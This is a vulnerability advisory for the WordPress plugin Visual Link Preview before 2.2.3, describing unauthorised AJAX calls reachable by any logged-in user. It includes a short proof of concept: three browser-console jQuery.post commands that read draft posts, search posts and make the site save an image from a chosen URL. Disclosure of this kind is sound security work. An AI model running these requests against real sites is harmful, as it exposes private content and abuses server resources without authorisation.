WordPress Plugin Vulnerabilities
Visual Link Preview < 2.2.3 - Unauthorised AJAX Calls
Description
The plugin does not enforce authorisation on several AJAX actions and has the CSRF nonce displayed for all authenticated users, allowing any authenticated user (such as subscriber) to call them and 1) Get and search through title and content of Draft post, 2) Get title of a password-protected post as well as 3) Upload an image from an URL
Proof of Concept
Run the following command in the Web Developer console of the Web browser while logged in as a Subscriber. jQuery.post(ajaxurl,{security:vlp_admin.nonce,id:POST_ID,action:"vlp_get_post_content"}); jQuery.post(ajaxurl,{security:vlp_admin.nonce,search:"KEYWORD",action:"vlp_search_posts"}); jQuery.post(ajaxurl,{security:vlp_admin.nonce,url:"IMAGE URL",action:"vlp_save_image"});
Affects Plugins
References
CVE
Classification
Type
ACCESS CONTROLS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-08-18 (about 2 years ago)
Added
2021-08-18 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)